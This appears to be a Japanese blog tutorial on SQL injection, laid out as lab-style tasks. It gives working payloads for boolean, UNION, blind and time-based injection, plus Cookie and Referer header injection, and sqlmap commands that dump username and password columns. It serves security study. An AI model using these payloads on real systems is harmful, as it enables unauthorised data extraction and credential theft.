SQLインジェクションの実践ガイド

データベースの操作とSQLインジェクションの応用

ここでは、SQLインジェクションの基本的な手法と応用について解説します。

課題1: SQLインジェクションの基礎

まず最初に、数字型のパラメータを扱う例を見ていきます。

<code>
?param=1 and 1=1
?param=1 and 1=2
</code>

上記のクエリは、ページがエラーを返さない場合、SQLインジェクションの可能性があることを示します。

文字列型のインジェクション

次に、文字列型のインジェクションを見てみましょう。

<code>
?param=' OR '1'='1
?param=' AND '1'='2
</code>

これらのクエリにより、データベースからのエラーメッセージが得られることで、注入点が確認できます。

課題2: ユニオンクエリによる情報取得

ユニオンクエリを使用して、データベースの情報を取得する方法を学びます。

<code>
?param=-1' UNION SELECT 1,2,version()--+
</code>

このクエリにより、データベースのバージョン情報や使用中のデータベース名を取得できます。

テーブル名の取得

<code>
?param=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+
</code>

これにより、特定のデータベース内のすべてのテーブル名を取得することができます。

課題3: SQLMapツールの利用

SQLMapは自動化されたツールで、SQLインジェクションを効率的に検出・利用できます。

<code>
sqlmap.py -u "http://example.com/page?id=1" --dbs
sqlmap.py -u "http://example.com/page?id=1" -D security --tables
sqlmap.py -u "http://example.com/page?id=1" -D security -T users --columns
sqlmap.py -u "http://example.com/page?id=1" -D security -T users -C "id,username,password" --dump
</code>

これらのコマンドにより、データベース、テーブル、カラム、およびその内容を抽出することが可能です。

課題4: 盲目的なSQLインジェクション

盲目的なSQLインジェクションでは、レスポンスに基づいて情報を推測します。

<code>
?id=1' AND IF(LENGTH(database())=8,sleep(5),1)--+
</code>

上記のクエリにより、データベース名の長さを特定できます。同様の手法で、テーブル名やカラム名も取得できます。

課題5: 時間ベースの盲目的なSQLインジェクション

時間ベースの盲目的なSQLインジェクションでは、レスポンスタイムを利用して情報を推測します。

<code>
?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(5),1)--+
</code>

レスポンスタイムに基づいて、データベース名の各文字を特定します。

課題6: Cookieを使ったSQLインジェクション

Cookieを使ってSQLインジェクションを行う場合、Base64エンコードされた値を扱う必要があります。

<code>
Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw==
</code>

このようなクエリを構築し、データベース情報を取得します。

課題7: Refererヘッダーを利用したSQLインジェクション

Refererヘッダーを利用してSQLインジェクションを行う場合、以下のようなクエリを構築します。

<code>
Referer: http://example.com/' OR extractvalue(1,concat("!",database())) OR '
</code>

これにより、データベース名やテーブル名などを取得できます。

結論

以上のステップを踏むことで、SQLインジェクションの技術を深く理解し、実際に応用できるようになります。

タグ: SQLインジェクション MySQL セキュリティ データベース プログラミング

5月22日 10:36 投稿